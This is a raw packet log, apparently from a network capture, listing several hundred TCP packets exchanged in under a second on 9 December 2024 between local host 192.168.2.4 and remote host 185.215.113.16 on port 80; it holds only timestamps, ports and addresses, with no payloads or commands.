Dec 9, 2024 23:09:11.402800083 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.403613091 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.403660059 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.404377937 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.404422998 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.408236980 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.408247948 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.408257961 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.408267975 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.408287048 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.408447981 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.408921957 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.408931971 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.408967972 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.409362078 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.409372091 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.409384012 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.409394026 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.409405947 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.409415007 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.409447908 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.410113096 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.410161018 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.410207987 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.410250902 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.411196947 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.411246061 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.411293030 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.411340952 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.535804033 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.535912991 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.535958052 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.536370993 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.536395073 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.536420107 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.536437035 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.536459923 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.537307024 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.537363052 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.537442923 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.537484884 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.538495064 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.538539886 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.538541079 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.538582087 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.539516926 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.539560080 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.539577007 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.539614916 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.540581942 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.540627956 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.540658951 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.540702105 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.541687965 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.541697979 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.541738987 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.554428101 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.554474115 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.554493904 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.554653883 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.554929972 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.554974079 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.555167913 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.555207968 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.555330038 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.555371046 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.556348085 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.556406975 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.556420088 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.556454897 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.557364941 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.557420969 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.557457924 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.557502031 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.558468103 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.558528900 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.558597088 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.558639050 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.559520006 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.559573889 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.559655905 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.559698105 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.560633898 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.560688972 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.560736895 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.560780048 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.561707973 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.561748981 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.561870098 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.561913013 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.562773943 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.562815905 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.562860012 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.562901020 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.563889027 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.563930988 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.563955069 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.563987017 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.564970016 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.565011978 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.565212965 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.565278053 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.566028118 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.566072941 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.566114902 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.566148996 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.567147970 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.567193985 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.567199945 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.567235947 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.568237066 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.568283081 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.568346024 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.568383932 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.569291115 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.569360018 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.569381952 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.569423914 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.570383072 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.570431948 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.570462942 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.570501089 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.571455956 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.571558952 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.571585894 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.571626902 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.572591066 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.572640896 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.572669983 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.572722912 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.573640108 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.573692083 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.573769093 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.573806047 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.574770927 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.574819088 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.574825048 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.574855089 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.575843096 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.575891018 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.575908899 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.575953007 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.576909065 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.576952934 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.577064991 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.577106953 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.577954054 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.577989101 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.578064919 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.578104019 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.579102993 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.579113960 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.579149961 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.579171896 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.580159903 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.580210924 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.580349922 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.580389023 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.581209898 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.581255913 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.581281900 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.581331015 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.582312107 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.582353115 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.582418919 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.582458019 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.583585978 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.583596945 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.583633900 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.584626913 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.584671974 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.584728956 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.584768057 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.585575104 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.585628986 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.585629940 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.585669994 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.586651087 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.586690903 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.586718082 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.586764097 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.587743998 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.587789059 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.587842941 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.587887049 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.588802099 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.588846922 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.588879108 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.588918924 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.589955091 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.589996099 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.590014935 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.590054035 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.591001034 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.591033936 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.591064930 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.591078997 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.592093945 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.592130899 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.592199087 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.592242956 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.593271971 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.593316078 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.593395948 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.593446016 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.594255924 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.594300032 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.594340086 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.594384909 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.595321894 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.595371008 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.595444918 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.595500946 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.596448898 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.596494913 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.596674919 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.596738100 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.597666025 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.597713947 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.597717047 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.597754002 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.598613024 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.598654032 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.598706961 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.598743916 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.599718094 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.599769115 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.599792004 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.599838018 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.600809097 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.600853920 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.600955009 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.600996971 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.602015018 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.602057934 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.602114916 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.602158070 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.603009939 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.603049040 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.603065014 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.603099108 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.604057074 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.604098082 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.727741957 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.727773905 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.727838039 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.727957964 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.728008986 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.728072882 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.728117943 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.729054928 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.729101896 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.729172945 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.729216099 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.730161905 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.730207920 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.730293036 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.730338097 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.731239080 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.731283903 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.731354952 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.731396914 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.732347012 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.732388973 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.732518911 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.732563972 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.733392000 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.733433962 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.733477116 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.733515978 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.734437943 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.734476089 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.746711969 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.746782064 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.746798038 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.746819973 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.747292042 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.747302055 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.747339010 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.747349977 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.748022079 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.748068094 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.748092890 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.748131990 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.749130964 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.749175072 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.749203920 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.749248028 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.750211000 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.750262022 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.750339031 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.750384092 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.751342058 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.751362085 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.751383066 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.751394987 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.752373934 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.752420902 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.752506971 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.752546072 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.753447056 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.753489971 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.753566980 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.753607035 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.754556894 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.754602909 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.754846096 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.754890919 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.755620956 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.755665064 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.755714893 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.755758047 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.756772995 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.756834030 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.756917953 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.756959915 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.757812023 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.757855892 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.757977009 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.758018017 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.758883953 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.758924007 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.758984089 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.759027958 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.759979010 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.760025978 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.760052919 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.760096073 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.761094093 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.761149883 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.761203051 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.761251926 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.762114048 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.762159109 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.762180090 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.762221098 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.763211012 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.763256073 CET	49770	80	192.168.2.4	185.215.113.16
Dec 9, 2024 23:09:11.763402939 CET	80	49770	185.215.113.16	192.168.2.4
Dec 9, 2024 23:09:11.763442993 CET	49770	80	192.168.2.4	185.215.113.16
